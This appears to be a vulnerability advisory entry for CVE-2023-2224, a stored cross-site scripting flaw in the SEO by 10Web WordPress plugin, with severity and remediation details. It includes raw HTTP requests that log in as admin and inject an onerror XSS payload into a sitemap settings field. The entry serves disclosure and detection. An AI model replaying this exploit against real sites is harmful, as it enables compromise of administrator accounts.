| Title | Seo By 10Web < 1.2.7 - Cross-Site Scripting |
|---|---|
| Author | luisfelipe146 |
| Severity | Medium |
| Impact | High-privilege authenticated attackers (admin) can inject stored XSS through plugin settings fields, potentially compromising other administrator accounts even when unfiltered_html capability is disabled in WordPress multisite environments. |
| Remediation | Update SEO by 10Web plugin to version 1.2.7 or later that properly sanitizes and escapes settings fields to prevent stored XSS attacks. |
| CVSS Score | 4.8 |
| EPSS Score | 0.00924 |
| CVE ID | CVE-2023-2224 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve wpscan packetstorm wp wordpress wp-plugin xss seo 10web authenticated vuln |
The SEO by 10Web WordPress plugin before 1.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.4
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=IBePJH&pwd=ONfcko&wp-submit=Log+In
GET /wp-admin/admin.php?page=wdseo_sitemap HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin.php?page=wdseo_sitemap&id_message=2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/4.0
Connection: close
Content-Length: 940
Accept-Encoding: gzip
task=save&wd_settings%5Bsitemap%5D=1&wd_settings%5Bbing_verification%5D=&wd_settings%5Byandex_verification%5D=&wd_settings%5Bnotify_google%5D=0&wd_settings%5Bnotify_bing%5D=0&wd_settings%5Badditional_pages%5D%5B%5D=&wd_settings%5Badditional_pages%5D%5Bpage_url%5D%5B%5D=%22%3E%3Caudio+src%3Dx+onerror%3Dconfirm%28document.domain%29%3E&wd_settings%5Badditional_pages%5D%5Bpriority%5D%5B%5D=0&wd_settings%5Badditional_pages%5D%5Bfrequency%5D%5B%5D=always&wd_settings%5Badditional_pages%5D%5Blast_changed%5D%5B%5D=&wd_settings%5Bexclude_post_types%5D%5B%5D=&wd_settings%5Bexclude_taxonomies%5D%5B%5D=&wd_settings%5Bexclude_archives%5D%5B%5D=&wd_settings%5Bexclude_posts%5D=&wd_settings%5Bsitemap_image%5D=0&wd_settings%5Bsitemap_video%5D=0&wd_settings%5Bsitemap_stylesheet%5D=1&wd_settings%5Blimit%5D=1000&wd_settings%5Bautoupdate_sitemap%5D=0&nonce_wdseo=eYMClv&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwdseo_sitemap%26id_message%3D1
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2224.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2224.pcap
N/AN/A